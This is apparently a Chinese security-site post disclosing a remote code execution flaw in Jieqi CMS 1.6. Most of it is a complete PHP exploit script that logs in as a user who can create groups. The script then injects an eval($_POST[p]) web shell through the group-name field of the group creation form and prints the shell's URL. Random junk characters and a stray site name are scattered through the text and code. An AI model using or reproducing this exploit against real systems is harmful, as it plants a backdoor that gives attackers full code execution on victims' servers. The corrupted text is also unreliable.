Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


% \' e# z5 Q' G+ Z该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。

) @/ K" b! W6 M4 j" s2 O<?php

print_r('
+---------------------------------------------------------------------------+
, H6 H- A5 H1 i- H0 EJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
$ M% f+ W* x, N3 f/ N* l. ]( vmail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
, ~* J/ C2 Z/ o1 U9 k * works regardless of php.ini settings
3 ~1 N6 E! _& c9 H9 p  l*/ if ($argc < 5) { print_r('
$ G, }: Q# E) d6 A) K+---------------------------------------------------------------------------+
$ r- o0 m: I+ o7 _  `# XUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
% S1 m. T2 }6 I! Tpath:      path to jieqicms
7 Y* N, M9 r- w$ |& @0 h/ x( n4 f8 l. tuasename:  a username who can create group
Example:
! [' j/ O* e5 q, d5 o2 n0 bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
; C5 K8 d$ n) E1 \. Q" ^8 ?: g+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

- h' ?9 s  w, q$ ^'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
4 c$ ~4 k7 v" S* U0 nContent-Disposition: form-data; name="gcatid"

0 B9 d9 F1 q* Z' n) D1
" R/ E" K- k( w5 A' F-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
$ j7 b3 f; I; `: y
+ [, G# u5 O! \0 w$ p1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
! i( m) K$ H  `% o( K/ }-----------------------------23281168279961--
6 Y8 ], y. q! s5 a# S% z'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

0 S: D+ d' w6 O( epreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;